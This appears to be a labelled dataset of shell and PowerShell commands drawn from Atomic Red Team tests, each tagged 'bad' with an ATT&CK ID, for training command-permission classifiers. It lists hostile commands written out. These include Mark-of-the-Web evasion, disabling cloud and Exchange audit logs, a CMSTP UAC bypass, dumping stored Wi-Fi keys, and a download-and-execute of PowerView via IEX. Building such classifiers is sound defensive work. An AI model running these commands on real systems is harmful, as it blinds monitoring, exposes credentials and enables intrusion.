cowWhySo/permission-command-corpus huggingface dataset:
Command: Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.005
Platform: windows
ATT&CK tags: T1553.005
Source rule: Mount ISO image
Notes: Mounts ISO image downloaded from internet to evade Mark-of-the-Web. Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, and mount the image. The provided sample ISO simply has a Reports shortcut file in it. Reference: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
Command: Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly $keep = Get-Volume -FileSystemLabel "TestIso" $driveLetter = ($keep | Get-Volume).DriveLetter invoke-item "$($driveLetter):\hello.exe"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.005
Platform: windows
ATT&CK tags: T1553.005
Source rule: Mount an ISO image and run executable from the ISO
Notes: Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. 
Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing "Hello, World!". 
ISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-fro
Command: Dismount-DiskImage -ImagePath "#{path_of_iso}" | Out-Null Stop-process -name "hello" -Force -ErrorAction ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.005
Platform: windows
ATT&CK tags: T1553.005
Source rule: Mount an ISO image and run executable from the ISO
Notes: Mounts an ISO image downloaded from internet to evade Mark-of-the-Web and run hello.exe executable from the ISO. 
Upon successful execution, powershell will download the .iso from the Atomic Red Team repo, mount the image, and run the executable from the ISO image that will open command prompt echoing "Hello, World!". 
ISO provided by:https://twitter.com/mattifestation/status/1398323532988399620 Reference:https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-fro
Command: Unblock-File -Path #{file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.005
Platform: windows
ATT&CK tags: T1553.005
Source rule: Remove the Zone.Identifier alternate data stream
Notes: Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.
Command: Set-Content -Path #{file_path} -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.005
Platform: windows
ATT&CK tags: T1553.005
Source rule: Remove the Zone.Identifier alternate data stream
Notes: Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
Removing this allows more freedom in executing scripts in PowerShell and avoids opening files in protected view.
Command: Mount-DiskImage -ImagePath "#{path_of_iso}" -StorageType ISO -Access ReadOnly $keep = Get-Volume -FileSystemLabel "AllTheThings" $driveLetter = ($keep | Get-Volume).DriveLetter $instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}")) $instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1553.005
Platform: windows
ATT&CK tags: T1553.005
Source rule: Execute LNK file from ISO
Notes: Executes LNK file document.lnk from AllTheThings.iso. Link file executes cmd.exe and rundll32 to in order to load and execute AllTheThingsx64.dll from the ISO which spawns calc.exe.
Command: $RemovableDrives=@() $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { write-host "Removable Drive Found:" $Drive New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives." }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1091
Platform: windows
ATT&CK tags: T1091
Source rule: USB Malware Spread Simulation
Notes: Simulates an adversary copying malware to all connected removable drives.
Command: $RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID ForEach ($Drive in $RemovableDrives) { Remove-Item -Path $Drive\T1091Test1.txt -Force -ErrorAction Ignore }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1091
Platform: windows
ATT&CK tags: T1091
Source rule: USB Malware Spread Simulation
Notes: Simulates an adversary copying malware to all connected removable drives.
Command: aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name} --is-multi-region-trail --region #{region} aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region} aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - CloudTrail Changes
Notes: Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail
Command: cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-1/" terraform destroy -auto-approve
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - CloudTrail Changes
Notes: Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-AzureAD -Credential $creds Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:azure
ATT&CK tags: T1562.008
Source rule: Azure - Eventhub Deletion
Notes: Identifies an Event Hub deletion in Azure.
An Event Hub is an event processing service that ingests and processes large volumes of events and data.
An adversary may delete an Event Hub in an attempt to evade detection.
https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.
Command: cd "$PathToAtomicsFolder/T1562.008/src/T1562.008-2/" terraform destroy -auto-approve
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:azure
ATT&CK tags: T1562.008
Source rule: Azure - Eventhub Deletion
Notes: Identifies an Event Hub deletion in Azure.
An Event Hub is an event processing service that ingests and processes large volumes of events and data.
An adversary may delete an Event Hub in an attempt to evade detection.
https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: office-365
ATT&CK tags: T1562.008
Source rule: Office 365 - Exchange Audit Log Disabled
Notes: You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox.
Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline.
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: office-365
ATT&CK tags: T1562.008
Source rule: Office 365 - Exchange Audit Log Disabled
Notes: You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox.
Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline.
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml
Command: export AWS_REGION=#{aws_region} cd #{stratus_path} echo "starting warmup" ./stratus warmup aws.defense-evasion.cloudtrail-event-selectors echo "starting detonate" ./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: linux,macos,iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
Notes: Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
Command: export AWS_REGION=#{aws_region} echo "Cleanup detonation" cd #{stratus_path} ./stratus cleanup --all rm -rf stratus*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: linux,macos,iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
Notes: Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/
Command: export AWS_REGION=#{aws_region} cd #{stratus_path} echo "starting warmup" ./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule echo "starting detonate" ./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: linux,macos,iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
Notes: This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.c
Command: export AWS_REGION=#{aws_region} cd #{stratus_path} echo "starting warmup" ./stratus warmup aws.defense-evasion.vpc-remove-flow-logs echo "starting detonate" ./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: linux,macos,iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - Remove VPC Flow Logs using Stratus
Notes: This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/
Command: aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo "*** Log Group Created ***" aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json echo "*** Log Group Deleted ***"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - CloudWatch Log Group Deletes
Notes: Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by 
deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $true
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: office-365
ATT&CK tags: T1562.008
Source rule: Office 365 - Set Audit Bypass For a Mailbox
Notes: Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box.
https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $false Disconnect-ExchangeOnline -Confirm:$false
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: office-365
ATT&CK tags: T1562.008
Source rule: Office 365 - Set Audit Bypass For a Mailbox
Notes: Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box.
https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps
Command: gcloud config set project #{project-id} gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:gcp
ATT&CK tags: T1562.008
Source rule: GCP - Delete Activity Event Log
Notes: GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied.
An adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. 

This Atomic attempts to delete the Activity Event log. An event is generated under the method name of `google.logging.v2.LoggingServiceV2.DeleteLog` with a Serverity of `ERROR`.
Command: aws configservice stop-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region} echo "*** Configuration recorder stopped ***" aws configservice delete-delivery-channel --delivery-channel-name #{delivery_channel_name} --region #{region} echo "*** Delivery channel deleted ***" aws configservice delete-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region} echo "*** Configuration recorder deleted ***"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - Config Logs Disabled
Notes: Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity.
Command: aws configservice list-configuration-recorders --region us-west-2
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.008
Platform: iaas:aws
ATT&CK tags: T1562.008
Source rule: AWS - Config Logs Disabled
Notes: Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity.
Command: ps >> #{output_file} ps aux >> #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: linux,macos
ATT&CK tags: T1057
Source rule: Process Discovery - ps
Notes: Utilize ps to identify processes.

Upon successful execution, sh will execute ps and output to /tmp/loot.txt.
Command: rm #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: linux,macos
ATT&CK tags: T1057
Source rule: Process Discovery - ps
Notes: Utilize ps to identify processes.

Upon successful execution, sh will execute ps and output to /tmp/loot.txt.
Command: get-wmiObject -class Win32_Process
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: windows
ATT&CK tags: T1057
Source rule: Process Discovery - get-wmiObject
Notes: Utilize get-wmiObject PowerShell cmdlet to identify processes.

Upon successful execution, powershell.exe will execute get-wmiObject to list processes. Output will be via stdout.
Command: wmic process get /format:list
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: windows
ATT&CK tags: T1057
Source rule: Process Discovery - wmic process
Notes: Utilize windows management instrumentation to identify processes.

Upon successful execution, WMIC will execute process to list processes. Output will be via stdout.
Command: tasklist | findstr #{process_to_enumerate}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: windows
ATT&CK tags: T1057
Source rule: Discover Specific Process - tasklist
Notes: Adversaries may use command line tools to discover specific processes in preparation of further attacks. 
Examples of this could be discovering the PID of lsass.exe to dump its memory or discovering whether specific security processes (e.g. AV or EDR) are running.
Command: Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: windows
ATT&CK tags: T1057
Source rule: Process Discovery - Process Hacker
Notes: Process Hacker can be exploited to infiltrate system processes, identify weak points, or achieve unauthorized control over systems. However, its malicious use can often be flagged by security defenses, rendering it a perilous tool for illegitimate purposes.
Command: Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: windows
ATT&CK tags: T1057
Source rule: Process Discovery - PC Hunter
Notes: PC Hunter is a toolkit with access to hundreds of settings including kernels, kernel modules, processes, network, startup, and more. When abused, this tool can allow threat actors to effectively access sensitive processes, collect system information, and terminate security software.
Command: taskmgr.exe /7
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1057
Platform: windows
ATT&CK tags: T1057
Source rule: Launch Taskmgr from cmd to View running processes
Notes: An adverary may launch taskmgr.exe with the /7 switch via command prompt to view processes running on the system.
[Reference](https://github.com/trellix-enterprise/ac3-threat-sightings/blob/main/sightings/Sightings_Conti_Ransomware.yml)
Command: cmstp.exe /s "#{inf_file_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.003
Platform: windows
ATT&CK tags: T1218.003
Source rule: CMSTP Executing Remote Scriptlet
Notes: Adversaries may supply CMSTP.exe with INF files infected with malicious commands
Command: cmstp.exe /s "#{inf_file_uac}" /au
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.003
Platform: windows
ATT&CK tags: T1218.003
Source rule: CMSTP Executing UAC Bypass
Notes: Adversaries may invoke cmd.exe (or other malicious commands) by embedding them in the RunPreSetupCommandsSection of an INF file
Command: netsh wlan show profile * key=clear
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1016.002
Platform: windows
ATT&CK tags: T1016.002
Source rule: Enumerate Stored Wi-Fi Profiles And Passwords via netsh
Notes: Upon successful execution, information about previously connected Wi-Fi networks will be displayed with their corresponding key (if present).
Command: cmd.exe /C whoami wmic useraccount get /ALL quser /SERVER:"#{computer_name}" quser qwinsta.exe /server:#{computer_name} qwinsta.exe for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt @FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: System Owner/User Discovery
Notes: Identify System owner or users on an endpoint.

Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. 
Additionally, two files will be written to disk - computers.txt and usernames.txt.
Command: users w who
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: linux,macos
ATT&CK tags: T1033
Source rule: System Owner/User Discovery
Notes: Identify System owner or users on an endpoint

Upon successful execution, sh will stdout list of usernames.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: Find computers where user has session - Stealth mode (PowerView)
Notes: Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.
Command: [System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt $env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: User Discovery With Env Vars PowerShell Script
Notes: Use the PowerShell environment variables to identify the current logged user.
Command: Remove-Item -Path .\CurrentactiveUser.txt -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: User Discovery With Env Vars PowerShell Script
Notes: Use the PowerShell environment variables to identify the current logged user.
Command: [System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1033
Platform: windows
ATT&CK tags: T1033
Source rule: GetCurrent User with PowerShell Script
Notes: Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.